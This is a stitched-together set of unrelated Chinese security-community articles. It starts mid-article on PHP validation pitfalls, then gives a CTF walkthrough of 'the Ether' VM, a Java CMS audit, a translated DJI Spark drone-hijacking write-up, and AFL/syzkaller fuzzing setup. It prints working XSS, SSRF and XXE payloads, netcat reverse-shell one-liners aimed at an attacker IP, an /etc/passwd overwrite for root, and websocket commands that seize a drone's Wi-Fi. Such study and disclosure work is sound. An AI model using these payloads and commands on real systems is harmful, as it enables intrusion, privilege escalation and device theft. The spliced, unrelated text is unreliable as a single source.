mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )
虽然官方说这是过滤器，但是如果用这个函数进行过滤，并且相信他的结果，是非常愚蠢的
### 漏洞问题
比较常用的当属FILTER_VALIDATE_URL了吧，但是它存在非常多的过滤bypass
本应该用于check url是否合法的函数，就这样放过了可能导致SSRF的url
类似的bypass还有：
0://evil.com:80$skysec.top:80/
0://evil.com:80;skysec.top:80/
详细SSRF漏洞触发可参考这篇文章：
<http://skysec.top/2018/03/15/Some%20trick%20in%20ssrf%20and%20unserialize()/>
除此之外，还能触发xss
javascript://comment%0Aalert(1)
### 典型案例
// composer require "twig/twig"
require 'vendor/autoload.php';
class Template {
private $twig;
public function __construct() {
$indexTemplate = '<img ' .
'src="https://loremflickr.com/320/240">' .
'<a href="{{link|escape}}">Next slide »</a>';
// Default twig setup, simulate loading
// index.html file from disk
$loader = new TwigLoaderArrayLoader([
'index.html' => $indexTemplate
]);
$this->twig = new TwigEnvironment($loader);
}
public function getNexSlideUrl() {
$nextSlide = $_GET['nextSlide'];
return filter_var($nextSlide, FILTER_VALIDATE_URL);
}
public function render() {
echo $this->twig->render(
'index.html',
['link' => $this->getNexSlideUrl()]
);
}
}
(new Template())->render();
这里不难看出是有模板渲染的，而模板渲染则有可能触发xss
那么寻找可控点，不难发现
public function render() {
echo $this->twig->render(
'index.html',
['link' => $this->getNexSlideUrl()]
);
}
这里的Link是使用了`getNexSlideUrl()`的结果
我们跟进这个函数
public function getNexSlideUrl() {
$nextSlide = $_GET['nextSlide'];
return filter_var($nextSlide, FILTER_VALIDATE_URL);
}
这里的`nextSlide`使用就充分相信了filter_var()的过滤结果
所以导致了XSS：
?nextSlide=javascript://comment%250aalert(1)
### 漏洞修复
不要轻易的相信filter_var()，它只能当做初步验证函数，结果不能当做是否进入if的后续程序的条件
## class_exists()函数
### 相关知识
(PHP 4, PHP 5, PHP 7)
class_exists — 检查类是否已定义
bool class_exists ( string $class_name [, bool $autoload = true ] )
检查指定的类是否已定义。
### 漏洞问题
上述操作表面上看起来似乎没有什么问题，和函数名一样，检查指定的类是否已定义
但是关键点就在于选项上，可以选择调用或不调用`__autoload`
更值得思考的是，该函数默认调用了`__autoload`
什么是`__autoload`？
PHP手册是这样描述的：
在编写面向对象（OOP） 程序时，很多开发者为每个类新建一个 PHP 文件。
这会带来一个烦恼：每个脚本的开头，都需要包含（include）一个长长的列表（每个类都有个文件）。
在 PHP 5 中，已经不再需要这样了。 spl_autoload_register()
函数可以注册任意数量的自动加载器，当使用尚未被定义的类（class）和接口（interface）时自动去加载。通过注册自动加载器，脚本引擎在 PHP
出错失败前有了最后一个机会加载所需的类。
那么自动调用`__autoload`会产生什么问题呢？
我们从下面的案例来看
### 典型案例
function __autoload($className) {
include $className;
}
$controllerName = $_GET['c'];
$data = $_GET['d'];
if (class_exists($controllerName)) {
$controller = new $controllerName($data['t'], $data['v']);
$controller->render();
} else {
echo 'There is no page with this name';
}
class HomeController {
private $template;
private $variables;
public function __construct($template, $variables) {
$this->template = $template;
$this->variables = $variables;
}
public function render() {
if ($this->variables['new']) {
echo 'controller rendering new response';
} else {
echo 'controller rendering old response';
}
}
}
案例同样来自php-security-calendar-2017
乍一看，这样的代码并不存在什么高危的问题，但实际上因为`class_exists()`的check自动调用了`__autoload()`
所以我们可以调用php的内置类实现攻击，例如`SimpleXMLElement`
正常来说，应该是可以这样触发render():
http://localhost/xxe.php?c=HomeController&d[t]=sky&d[v][new]=skrskr
可以得到回显
controller rendering new response
但此时我们可以使用`SimpleXMLElement`或是`simplexml_load_string`对象触发盲打xxe，进行任意文件读取
构造：
simplexml_load_file($filename,'SimpleXMLElement')
即
c=simplexml_load_file&d[t]=filename&d[v]=SimpleXMLElement
即可
而这里的$filename使用最常见的盲打XXE的payload即可
这就不再赘述，详细可参看
https://blog.csdn.net/u011721501/article/details/43775691
### 漏洞修复
对于特点情况，可关闭自动调用
bool $autoload = false
## htmlentities()函数
### 相关知识
(PHP 4, PHP 5, PHP 7)
htmlentities — 将字符转换为 HTML 转义字符
string htmlentities ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") [, bool $double_encode = true ]]] )
本函数各方面都和 htmlspecialchars() 一样， 除了 htmlentities() 会转换所有具有 HTML 实体的字符。
如果要解码（反向操作），可以使用 html_entity_decode()。
### 漏洞问题
从上述知识来看，该函数应该是用来预防XSS，进行转义的了
但是不幸的是
该函数默认使用的是`ENT_COMPAT`
即不会转义单引号，那么就可能产生非常严重的问题，例如如下案例
### 典型案例
$sanitized = [];
foreach ($_GET as $key => $value) {
$sanitized[$key] = intval($value);
}
$queryParts = array_map(function ($key, $value) {
return $key . '=' . $value;
}, array_keys($sanitized), array_values($sanitized));
$query = implode('&', $queryParts);
echo "<a href='/images/size.php?" .
htmlentities($query) . "'>link</a>";
由于不会转义单引号
我们可以随意闭合
<a href='/images/size.php?htmlentities($query)'>link</a>
此时我们替换`htmlentities($query)`为
' onclick=alert(1) //
这样原语句就变成了
<a href='/images/size.php?' onclick=alert(1) //'>link</a>
这样就成功的引起了xss
故此最终的payload为
/?a'onclick%3dalert(1)%2f%2f=c
### 漏洞修复
必要的时候加上`ENT_QUOTES`选项
## openssl_verify()函数
### 相关知识
(PHP 4 >= 4.0.4, PHP 5, PHP 7)
openssl_verify — 验证签名
int openssl_verify ( string $data , string $signature , mixed $pub_key_id [, mixed $signature_alg = OPENSSL_ALGO_SHA1 ] )
openssl_verify()
使用与pub_key_id关联的公钥验证指定数据data的签名signature是否正确。这必须是与用于签名的私钥相对应的公钥。
### 漏洞问题
这个函数看起来是用于验证签名正确性的，怎么会产生漏洞呢？
我们注意到它的返回值情况
其中，内部发送错误会返回-1
我们知道if判断中，-1和1同样都可以被当做true
那么假设存在这样的情况
`if(openssl_verify())`
那么它出现错误的时候，则同样可以经过check进入后续程序
如何触发错误呢？
实际上只要使用另一个与当前公钥不匹配的算法生成的签名，即可触发错误
### 典型案例
class JWT {
public function verifyToken($data, $signature) {
$pub = openssl_pkey_get_public("file://pub_key.pem");
$signature = base64_decode($signature);
if (openssl_verify($data, $signature, $pub)) {
$object = json_decode(base64_decode($data));
$this->loginAsUser($object);
}
}
}
(new JWT())->verifyToken($_GET['d'], $_GET['s']);
此时我们只需要使用一个不同于当前算法的公钥算法，生成一个有效签名，然后传入参数
即可导致openssl_verify()发生内部错误，返回-1，顺利通过验证，达成签名无效依然可以通过的目的
### 漏洞修复
if判断中使用
if(openssl_verify()===1)
## 后记
php作为一种功能强大的语言，它的库中还有许多默认配置会引发安全问题，还等我们一一去探索，由于本人很菜，不能一一枚举，在此抛砖引玉了！ | 社区文章 |
## 前言
本次靶机难度中等
## 环境准备
下载the Ether靶机：
下载好后解压，如果安装好了vmware直接单击vmx文件，用vmware运行即可
主机：kali linux 222.182.111.129
靶机 : the Ether靶机
目标：拿下靶机root权限和里面的flag
注意本菜亲测：后面某些操作多次执行可能获取不到shell，所以在执行接下来的操作之前先保存快照一波
## 信息收集
1.确定靶机ip （我是将靶机的网络模式改成nat模式，共享主机的ip，让靶机和主机在同一网段下）
扫描同网段下其余存活主机：
`nmap -sP 222.182.111.1/24`
222.182.111.1为网关地址，222.182.111.254为虚拟机分配ip的结束地址，222.182.111.129为kali地址，所以确定靶机ip为222.182.111.142
2.扫描靶机确定端口及服务
`nmap -p- -A 222.182.111.142`
可以看到开放了22(ssh),80(http)这2个端口
## 测试
作为一只web狗，肯定80端口起手
看起来十分高大上的一个网站
一顿查看无果，上爆破目录工具，可惜也无果
注意点击about us会出现url：`http://222.182.111.142/?file=about.php`
猜测可能有文件包含漏洞
一顿普通文件包含测试发现无果，那我们使用LFI本地文件包含字典LFI-JHADDIX.txt爆破看看可以包含哪些文件
下载链接:<https://github.com/danielmiessler/SecLists/tree/master/Fuzzing>
使用burpsuite的intruder功能
先抓包，再发送到intruder
爆破到几个可疑目录
`/var/log/lastlog`
一堆乱码
`/var/log/wtmp`
依旧乱码
`/var/log/utmp`
没信息三连
`/var/log/auth.log`
访问却发现重定向到index.php,一定有什么不可告人的秘密
我们抓包repeater发包看看
看到内容了，似乎关于ssh登录的日志，我们尝试ssh登录
再次发包
发现我们的ssh登录信息记录到了日志
## 日志注入+文件包含日志文件获取shell
我们通过ssh登录的用户名注入木马
注意因为用户名必须为一个字符串，所以要在左右加上单引号
加上cmd参数，重新发包
发现命令执行成功
那我们接下来用bash反弹shell
加上参数`cmd=/bin/nc -e /bin/sh 222.182.111.129 4444`
kali开启nc监听
发现没反应，并且返回404
可能是为编码的问题，url编码后
加上参数`cmd=%2fbin%2fnc+-e+%2fbin%2fsh+222.182.111.129+4444`
监听还是未成功，猜测由于版本问题，-e参数无法识别
那我们试试不使用-e的命令(以下三条都可以)
mknod backpipe p && nc 222.182.111.129 4444 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc 222.182.111.129 4444
rm -f /tmp/p; mknod /tmp/p p && nc 222.182.111.129 4444 0/tmp/
编码后
mknod+backpipe+p+%26%26+nc+222.182.111.129+4444+0%3cbackpipe+%7c+%2fbin%2fbash+1%3ebackpipe
%2fbin%2fsh+%7c+nc+222.182.111.129+4444
rm+-f+%2ftmp%2fp%3b+mknod+%2ftmp%2fp+p+%26%26+nc+222.182.111.129+4444+0%2ftmp%2f
三条都试了，发现第一条就可以
拿到shell
当然上面的操作可以用curl工具加上`-is`参数执行
例如最后一条cmd可用`curl -is
http://222.182.111.142/?file=/var/log/auth.log&cmd=mknod+backpipe+p+%26%26+nc+222.182.111.129+4444+0%3cbackpipe+%7c+%2fbin%2fbash+1%3ebackpipe`代替
## 伪造/etc/passwd提权
发现当前目录下有一个`xxxlogauditorxxx.py`文件
查看发现这个文件真长，复都复制不完
`sudo -l`查看当前用户可执行文件
发现该脚本可无需密码运行
运行试试
`sudo ./xxxlogauditorxxx.py`
让我们输入以上的日志名称，之前查看该脚本内容最后几行发现exec函数，猜测会执行命令，我们试试逻辑或执行命令
输入`/var/log/auth.log | id`
成功执行，该命令执行是root权限执行的
那我们通过这个命令修改/etc/passwd文件添加一个root权限用户jlzj
步骤如下：
查看/etc/passwd
sudo ./xxxlogauditorxxx.py
/var/log/auth.log | cat /etc/passwd
生成一个jlzj用户，以及加盐的hash值
`openssl passwd -1 -salt jlzj abc123
#该命令用于生成hash，-1表示用MD5基于BSD的密钥算法。用户名为jlzj，密码是abc123`
再kali上web目录下创建一个passwd
把/etc/passwd的内容加上生成的jlzj用户信息加入其中
回到shell
切换到/tmp目录下载该passwd文件
`wget http://222.182.111.129/passwd`
接着用root权限覆盖原有的/etc/passwd
sudo ./xxxlogauditorxxx.py
/var/log/auth.log | cp /tmp/passwd /etc/passwd
再次查看现在的/etc/passwd
添加成功
切换到jlzj用户
`su jlzj`
键入密码`abc123`
提权成功
## 查看flag
使用strings命令查看
`strings flag.png`
用base64解密得
october 1, 2017.
We have or first batch of volunteers for the genome project. The group looks promising, we have high hopes for this!
October 3, 2017.
The first human test was conducted. Our surgeons have injected a female subject with the first strain of a benign virus. No reactions at this time from this patient.
October 3, 2017.
Something has gone wrong. After a few hours of injection, the human specimen appears symptomatic, exhibiting dementia, hallucinations, sweating, foaming of the mouth, and rapid growth of canine teeth and nails.
October 4, 2017.
Observing other candidates react to the injections. The ether seems to work for some but not for others. Keeping close observation on female specimen on October 3rd.
October 7, 2017.
The first flatline of the series occurred. The female subject passed. After decreasing, muscle contractions and life-like behaviors are still visible. This is impossible! Specimen has been moved to a containment quarantine for further evaluation.
October 8, 2017.
Other candidates are beginning to exhibit similar symptoms and patterns as female specimen. Planning to move them to quarantine as well.
October 10, 2017.
Isolated and exposed subject are dead, cold, moving, gnarling, and attracted to flesh and/or blood. Cannibalistic-like behaviour detected. An antidote/vaccine has been proposed.
October 11, 2017.
Hundreds of people have been burned and buried due to the side effects of the ether. The building will be burned along with the experiments conducted to cover up the story.
October 13, 2017.
We have decided to stop conducting these experiments due to the lack of antidote or ether. The main reason being the numerous death due to the subjects displaying extreme reactions the the engineered virus. No public announcement has been declared. The CDC has been suspicious of our testings and are considering martial laws in the event of an outbreak to the general population.
--Document scheduled to be shredded on October 15th after PSA.
## 总结
本文的突破口在于三点
1.使用LFI本地文件包含字典LFI-JHADDIX.txt发现日志可注入
2.不支持-e的nc反弹shell，这里主要参考<http://www.zerokeeper.com/experience/a-variety-of-environmental-rebound-shell-method.html>
3.逻辑或运算命令执行
## 参考链接
<http://www.zerokeeper.com/experience/a-variety-of-environmental-rebound-shell-method.html>
<https://segmentfault.com/a/1190000016073794> | 社区文章 |
这是这个cms的第二篇文章，第一篇之前发的，因为参考比较多，并且自己也就是详细跟了一下，没挖出来自己的洞，所以发在了公众号上，主要是讲了点自己Java代码审计的思路和方法，有兴趣可以看看。
今天详解一点功能点的审计，，任意文件删除，任意文件读取漏洞（其实也不算，因为限制了web-ini没法读，也就是配置文件我们可能读取不到，先看看吧）以及绕过备份getshell。
公众号文章链接：<https://mp.weixin.qq.com/s/t1RDRZKTmOOkGMv82-WtMA>
这里前面只选择了一部分功能点，因为基本是大同小异，增删改查都是用了预编译，逻辑都是差不多，就随便找了几个。因为预编译比较多，就想着全局搜索orderby看看有没有漏网之鱼，但是基本都是系统加载时候直接写死了的，sql注入估计很难挖到了（其实是产生了错觉）。但是功能点还没看完，不急每一个都跟进去看看就OK。先对增删改查简单的分析一下（前面都是自己练手对每个流程分析一下，比较简单基础，勿喷。）
**流程分析**
**登录分析**
1.判断是登入还是退出
2.检查验证码
3.检查ip，账号，密码。密码这里做了一个html解码
4.判断用户名是否可以登录，在数据库做了个查询，包括锁定等
5.判断账号密码是否匹配
6.获取一系列的如访问信息，然后保存登录信息
这里能看到，验证码错误以后直接返回没有刷新，所以这里可以对账号密码进行暴力破解。中间的sql查询均采用了预编译，不截图了。这个站预编译很多，但是还有少许的漏网之鱼。
**添加管理员分析**
1.判断是否是管理员
2.获取request的内容
3.检查checkedRoleId，转化为String或者String[]
4.判断user的字段信息不能为空
5.添加管理员
**编辑管理员代码**
删除管理员代码
中间的编辑之类的都大同小异，这里发现了删除和前面好像有点不同，没有做管理员权限认证，试一下。但是直接尝试失败了，怀疑应该是全局做了权限校验。先放着后面看。这里可以看出来，基本都是获取了前端的数据，然后进行权限鉴别增删改查，数据库Dao文件里都做了预编译，order by后面看了几处也没法利用，宽字符没有，先放一下。
修改密码分析
1.验证是否是管理员登录
2.获取request请求的内容
3.判断书否输入了两次密码，并且密码是否一致
4.获取userID
5.根据userID修改密码
所以这里就有漏洞出来了，越权修改密码，根据userID可以修改任意用户的密码，如果是能找到一个地方能获取用户的userID,那就可以算任意密码重置了。这种一般可以找下用户互动的地方。这里因为存在token，没办法进行csrf修改管理员密码。先放着，继续跟其他的功能点
**漏洞**
**一 失败的sql注入**
一般对于注入的查找，我们看一下Dao文件里的，前期我们分析了很多基本都是预编译，但是总有开发可能会漏掉。这里就找到了一个直接拼接，但是应该是做了全局过滤，所以虽然是找到了
还是要找到然后绕过才行。先看怎么找
（1）Dao文件发现过滤
（2）找调用了该Dao的service
（3）找一下调用了该service的控制器看看传入的参数是否可控，有些时候可能是前面实例化了对象后面取得对象的某个字段，比如这里，确实是可控的，且classID可以前端修改，那么正常情况下就有注入的可能了。但是能看到这里是报错了，大概率是过滤器引起的，我们看一下日志，发现确实是因为“爆了非法。
找一下看看哪些字符串被处理了，看了一下危险字符，不出意料的话这些都被拦截了。验证了一下，这些确实都被过滤了，我人麻了。先放着不管，最后再来研究一下这个具体拿来干啥的，替换的哪些请求。（后面再来看的时候才发现传入的classid是long类型，只是wcond转为了String，没注意到，所以这里的想找注入是gg了）
**二 任意文件下载突破**
兜兜转转继续审计，重复的增删改查不看了，看点其他的功能看，看到了后台有一处下载。看一下，找到这个控制器，跟一下。
前面没有太多好说的，传入路径，参数，主要是看看有没有对我们传入的路径做处理。这里对../ 和web-inf进行了判断，也就是我们开始说的没法读取web-INF文件夹。同时要记得有全局过滤，../这一种根本传不过来。但是我们开始发现了有替代，后期测试也发现了，会对客户端传入的参数也能做替换，也就是说我们仿照他的规则写一个就是了。这里实现了路径穿越，读取了上层的1.txt，其实也就是说如果没有限制只能在web目录，基本上能读取有权限的任意文件了。（一般这种读取还没有碰到必须要在web目录的）
读取一下D盘的e0m.txt文件看看能不能跳出web目录,这里和上面不同，是因为entry代表路径，下面downFileInfo写成了文件名。
**三 任意文件删除**
其实任意文件删除的逻辑和任意文件下载差不多，都是因为对路径没有做处理，导致了可以进行代码替换达到任意文件删除，这里就复现一下吧。还是删除d:e0m.txt，返回302，然后去D盘看，e0m.txt已经被删除了。
**四 系统文件备份getshell**
这里怀疑是上传zip包的功能环境搭建出了点问题，所以没发上传zip包（正常看别人之前都行，先空着这个）。由于备份还原时对目录校验不严格。可以进行目录备份getshell。这里由于接口有点问题，就直接在某个文件夹下放置zip包，然后模拟上传了zip包。模拟放到了tmoplate目录下，备份文件再sys_bak下
修改target路径,开始一直没成功说找不到数据库文件，跟了一下发现这里有个坑点，数据库文件要和备份名字一样，而且如果路径不同规则也更改了，这里我们模拟的，实战中碰到了对应的上传的路径去改就行了。关于备份文件改了名是因为默认的备份名由于tomcat版本原因不能解析。简单说一下，先获取密码和文件路径，密码是admin的账号密码，文件路径和后面我们备份有关，也正是因为这里没有做处理。导致了我们可以进行目录穿越。配合上传zip包的话，实现备份getshell。前面我们任意文件下载那里配合，也就是我们可以备份了网站以后，然后下载下来，添加我们的 | 社区文章 |
# 如何劫持大疆Spark无人机
##### 译文声明
本文是翻译文章，文章来源：embedi.com
原文地址：<https://embedi.com/blog/dji-spark-hijacking/>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
对于我们每个人来说，被犯罪分子骗走血汗钱那肯定是件很悲伤的事。随着物联网（IoT）的快速发展，可远程控制的设备已成为我们日常生活中不可或缺的一部分。但在享受方便的同时有一个明显的缺点暴露出来———它们也可以被犯罪分子利用。有没有想过攻击者可能只是坐在家中上，就可以控制您的设备飞到他们手里。是不是觉得不可能？但是我们已经成功劫持了大疆Spark无人机，将上面的假想照进现实。看看我们是怎么做到的吧！
## 介绍
一直以来，大疆无人机深受黑客的关注。他们主要对破解无人机的某些功能，比如设置更高的控制通道频率，消除飞行高度限制或禁飞区等限制感兴趣。此外，还有一些关于越狱无人机的信息。公开的知识你可以在这个[Github](https://github.com/MAVProxyUser/P0VsRedHerring)，还有这个[wiki](https://dji.retroroms.info/)中找到。
大疆Spark是大疆无人机非专业系列中的一款设备。于2017年发布，作为业余航空摄影的无人机销售。在一些方面上，它比其他型号差一些：例如，电池满电的情况下只能持续16分钟的飞行时间。但他与（Phantom
4和Mavic）相比，Spark便宜了499美元。
Spark采用Android 4.4为核心的Leadcore LC1860C ARMv7-A CPU。更新文件带有.sig扩展名，使用RSA-SHA256进行签名，其中一些文件使用AES算法进行加密。其他网络安全爱好者已经公开了这种AES密钥，因此可以使用该[工具](https://github.com/fvantienen/dji_rev/blob/master/tools/image.py)从文件中提取加密的字段数据。在无人机固件中，发现有大量来确保设备正常运行的原生应用程序。
大疆Spark配备了一组外部接口：
1. 用于PC连接的USB接口;
2. 用于闪存连接器的扩展;
3. 通过Wi-Fi来控制设备的手机应用;
4. 通过2.412-2.462 GHz的遥控器来管理设备。
大疆还设计了大疆 Assistant 2应用程序。该应用程序可以通过USB操作连接到台式电脑的设备，可以为其更新固件，更改Wi-Fi网络设置等。
在浏览社区资料时，我们发现了改变无人机达到最大高度的脚本websocket_tool.py。每次请求会在web-socket
server写入新的值。这个web-socket server是由大疆 Assistant 2应用程序启动的。换句话说，该应用程序有2个接口：
1. 图形用户界面
2. web-socket接口。
从一台你认为安全的计算机上感染系统比使用传统方法更容易。正因为这样导致了连接到PC的手机被各种恶意软件感染。所以，我们决定复现这个场景并仔细研究web-socket接口。
## 二.Web-socket服务器
我们推出了最新的大疆 Assistant 2 1.1.6版本，并将带有V01.00.0600固件版本的大疆 Spark连接到电脑。让我们尝试访问Web-socket服务器。为了使用web sockets，我们使用了websocket-client包中的wsdump.py工具。
服务器响应表示在URL `ws：// victim：19870
/`上没有服务。在运行web_socket_tool.py脚本后，我们找到了一个有效的`URL - / general`。
可以看见，服务器不需要授权就可以使用。但是它的响应是加密的，这说明接口只能用于大疆软件而不是用户。那么问题来了：它传递了什么？我们再看客户端和服务器之间的消息是如何加密的。在分析旧版大疆
Assistant 2版本时，我们发现它们以纯文本与服务器通信。之后，我们了解到加密机制已用于1.1.6版本，这就是为什么来自社区资料的脚本没有加密。
## 三.加密算法
首先，我们检查了加密的文本属性。每次应用程序重新运行时，加密文本保持相似。无人机重启也不会改变它。在Mac上运行也得到相同的结果。这些表明加密密钥不依赖于会话或使用的操作系统。因此，我们假设是硬编码的。
web-socket服务器的代码存储在大疆WebSocketServer.dll库中。借助工具（例如，用于PEiD的Krypto
ANALyzer），我们确定了算法 – AES和本地化加密程序。
即使对AES知之甚少，也可以确定使用的加密方式。唯一需要的是将反编译的代码与Github的开放源代码进行比较。发现使用CBC模式。通过分析交叉引用，我们可以找到初始化的加密密钥。
## 四.破解用户界面
我们所需要做的就是将传输的数据加密/解密到wsdump.py脚本中，并且我们将获得应用程序发送给我们的解密数据。在我们的[github](https://github.com/embedi/dji-ws-tools/blob/master/dji_wsdump.py)修改了wsdump.py脚本。
除了关于应用程序版本，设备类型等的信息外，还有无人机管理服务的URL列表。
这些服务可以通过web-socket接口远程处理。
## 五.计划一次攻击
即使没有专门的控制器，大疆无人机还可以通过智能手机进行控制。控制器可以作为Spark
Combo包的一部分销售，也可以单独销售。如果没有控制器，智能手机应用程序是控制大疆Spark的唯一选择。无人机会创建一个Wi-Fi热点，该热点通过WPA2协议进行保护，手机可以连接此热点来控制无人机，但该热点只允许一个用户连接。
我们进行了一系列实验，从Wi-Fi热点对驾驶员进行认证。如果无人机在低空飞行时丢失了驾驶员的信号，它最终会掉落到地面。但是，如果驾驶员在无人机达到高空后取消了身份验证，则该设备的行为会十分奇怪，它会提高RPM的速度并达到更高的高度。所以，需要一个线路不让无人机像鸽子一样飞走。我们在实验使用的线路不够长，无法检查无人机可以达到的最大高度，事实证明Spark只是一个无线网络的囚徒。
web-socket接口授予Wi-Fi网络的完全访问权限。通过与已启动 web-socket服务器的计算机建立网络连接，攻击者可以查看到Wi-Fi设置并连接到另一个人的无人机。但是如果设置发生了变化。无人机将失去与用户的连接，这样攻击者将成为无人机的唯一拥有者。
总而言之，典型的攻击场景可能如下所示（我们从GitHub脚本中复制了json-commands格式）。
为了使攻击成功，网络犯罪分子会感染受害者的系统并远程追踪无人机，通
过连接受害者计算机，启动大疆 Assistan 2。确切的时间可以通过19870端口来确定，连接到web-socket服务器`ws://victim:19870` 执行以下操作将密码更改为无人机wi-fi热点：
1.请求`ws://victim:19870/generalurl`从服务器响应中获取文件值。
`"FILE":"1d9776fab950ec3f441909deafe56b1226ca5889"`
2.发送以下命令
ws://victim:19870/controller/wifi/<FILE>
{"SEQ":"12345","CMD":"SetPasswordEx","VALUE":"12345678"
3.之后，Wi-Fi密码将在不知情的情况下更改为受害者。
改之前：
改之后：
4.要使更改生效，重新启动Wi-Fi模块
{"SEQ":"12345","CMD":"DoRebootWifi"}
5.然后用智能手机连接到无人机。
6.等待USB拔出并劫持无人机。
这个场景在大疆Spark无人机上进行了测试，但它应该与所有兼容大疆 Assistant 2的无人机都有关。发行说明中提供了无人机的列表。
这种类型的攻击适用于所有支持的操作系统和默认防火墙。它可以在有线和公共无线网络中进行。为了不手动执行所有程序，这里是我们的[PoC](https://github.com/embedi/dji-ws-tools/blob/master/dji_ws_exploit.py)
## USB和物联网
到目前为止，几乎所有的智能设备都可以通过USB连接（如PC或笔记本电脑）上传一些文件，更新设备固件（大多数设备只能通过USB进行充电）等日常行为，这可能会造成很大程度的威胁，因为被感染的设备可能很容易感染其他设备。网络犯罪分子还可以根据自己的喜好更改设置，将恶意固件上传到设备。当设备连接到其他PC
/笔记本电脑时，感染会蔓延。
在物联网时代，问题会变得更加严重，所以智能设备开发人员应集中注意力在设备连接场景上，并设计身份验证和授权机制以及签名固件的受信任引导。否则，当智能汽车通过接口受到感染，车主不得不向犯罪分子支付赎金。
## 时间线：
09/25/2017 – 关于发送漏洞的第一个通知;
09/28/2017 – 发送技术细节;
10/12/2017 – 接受的漏洞和赏金的数量;
12/20/2017 – 赏金支付。
## 结论
大疆公司被认为是消费和商业无人机市场的领导者。根据维基百科，它在消费无人机市场占有巨大的市场份额;
到2021年它将生产约400万架无人机。可见一旦无人机出现漏洞那将十分危险——它们影响到大量用户和组织。这种情况已经发生过，例如SSL密钥和XSS漏洞。还有自从一架无人驾驶飞机撞上白宫的南草坪，美国陆军禁止大疆无人机。
由于大疆软件存在以下安全问题，可能会出现以下攻击方法。
1.Web-socket服务器侦听所有网络接口。
2.使用硬编码加密密钥与Web-socket服务器通信。
3.使用Web-socket界面的授权。
4.数据可以很容易获得。
Wi-Fi攻击可以劫持无人驾驶飞机，可能的情况也不止这样，Web-socket接口具有许多功能，可能使攻击者可以更改无人机的设置访问机密数据。
github(<https://github.com/embedi/dji-ws-tools/blob/master/dji_wsdump.py>)
工具：<https://github.com/fvantienen/dji_rev/blob/master/tools/image.py> | 社区文章 |
# 前言
本文将介绍两种fuzz工具afl、syzkaller的安装及使用。
# AFL
American fuzzy lop (“afl-fuzz”)是一种通过提供随机生成的输入来测试软件，搜索能导致程序崩溃的那些输入的fuzz测试工具。
它通过对源码进行重新编译时进行插桩的方式自动产生测试用例来探索二进制程序内部新的执行路径。
与其他基于插桩技术的fuzzers相比，afl-fuzz具有较低的性能消耗，有各种高效的fuzzing策略和技巧最小化技巧，不需要先行复杂的配置，能无缝处理复杂的现实中的程序。当然AFL也支持直接对没有源码的二进制程序进行测试，但需要QEMU的支持。
## 安装afl-fuzz
从[官网](http://lcamtuf.coredump.cx/afl/)下载源码压缩包，解压。然后编译安装：
make
sudo make install
安装完成后一般需要配置一下，将coredumps输出为文件，而不是把崩溃信息发送到特定的处理程序：
echo core > /proc/sys/kernel/core_pattern
官方文档：<http://lcamtuf.coredump.cx/afl/README.txt>
## 测试示例
对于有源码的测试程序，可以使用afl来代替gcc或clang来编译。用afl的插桩可以优化afl-fuzz的性能，加速fuzz。
一般的编译步骤如下：
CC=/path/to/afl/afl-gcc ./configuer
make clean all
C++程序则设置为:
CXX=/path/to/afl/afl-g++
下面是一个崩溃示例程序：
#include <stdio.h>
#include <signal.h>
int main(int argc, char *argv[])
{
char buf[233] = {0};
FILE *input = NULL;
input = fopen(argv[1], "r");
if(input != 0)
{
fscanf(input ,"%s", &buf);
printf("buf is %s\n", buf);
func(buf);
fclose(input);
}
else
printf("error!");
return 0;
}
int func(char *data)
{
if(data[0] == 'A')
raise(SIGSEGV);
else
printf("ok\n");
return 0;
}
当输入文件的首字母为A时程序崩溃。
* 用afl-gcc编译程序，插桩：
./afl-gcc test.c -o test
* 测试
testcase是自带的输入目录，Testout是指定的输出目录
./afl-fuzz -i testcase -o Testout ./test @@
这里使用@@标志，从文件中读取输入。在实际执行的时候会把@@替换成testcase下的测试样本。
可以看到很快就出了一个crashe，在输出文件夹里我们可以看到使程序崩溃的输入文件：
符合我们的程序崩溃逻辑。
# Kernel fuzz -- syzkaller
syzkaller是一款无监督的覆盖引导内核模糊器。
Linux内核模糊测试支持最多，akaros，freebsd，fuchsia，netbsd，windows和gvisor都有不同程度的支持。
我们将用它来进行linux内核模糊测试。
官方文档：<https://github.com/google/syzkaller>
## 编译内核
具体编译不再赘述(可看我这篇[笔记](http://2456cc35.wiz03.com/share/s/0AlIMR0YIkmh2tjeP42sDMEN2cppy23AfkXs2
--YCH1Y7_ne))，注意开启下面几个选项就行：
CONFIG_KCOV=y
CONFIG_DEBUG_INFO=y
CONFIG_KASAN=y
CONFIG_KASAN_INLINE=y
## 安装Go语言编译器编译syzkaller，设置环境变量
wget https://storage.googleapis.com/golang/go1.8.1.linux-amd64.tar.gz
tar -xf go1.8.1.linux-amd64.tar.gz
mv go goroot
export GOROOT=`pwd`/goroot
export PATH=$GOROOT/bin:$PATH
mkdir gopath
export GOPATH=`pwd`/gopath
## 安装syzkaller
go get -u -d github.com/google/syzkaller/...
cd gopath/src/github.com/google/syzkaller/
mkdir workdir
make
## 用Debian-wheezy制作一个镜像
安装debootstrap：
sudo apt-get install debootstrap
用下面的脚本制作镜像：
cd gopath/src/github.com/google/syzkaller/tools/
./create-image.sh
然后是漫长的等待……成功后会在当前目录下看到ssh公钥和私钥文件，以及我们需要的镜像：
wheezy.id_rsa
wheezy.id_rsa.pub
wheezy.img
## qemu启动
设置环境变量：
export KERNEL=/home/edvison/linux-kernel
export IMG=/home/edvison/gopath/src/github.com/google/syzkaller/tools
启动脚本：
qemu-system-x86_64 \
-kernel $KERNEL/arch/x86_64/boot/bzImage \
-append "console=ttyS0 root=/dev/sda debug earlyprintk=serial slub_debug=QUZ"\
-hda $IMG/wheezy.img \
-net user,hostfwd=tcp::10021-:22 -net nic --nographic \
-enable-kvm \
-m 2G \
-smp 2 \
-pidfile vm.pid \
2>&1 | tee vm.log
带有ssh服务的qemu虚拟机就配置好了：
要结束当前的qemu实例用下面命令：
sudo kill $(cat vm.pid)
## 配置无密码登录ssh
官方那个ssh登录设置有点迷…用下面的方法好了。
用`ssh-keygen -t rsa`命令在本机生成私钥id_rsa和公钥id_rsa.pub。然后把公钥id_rsa.pub复制到虚拟机上。
修改虚拟机上ssh的配置：/etc/ssh/sshd_config
PermitRootLogin without-password
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile /root/.ssh/id_rsa.pub
RhostsRSAAuthentication yes
PermitEmptyPasswords no
PasswordAuthentication no
UsePAM no
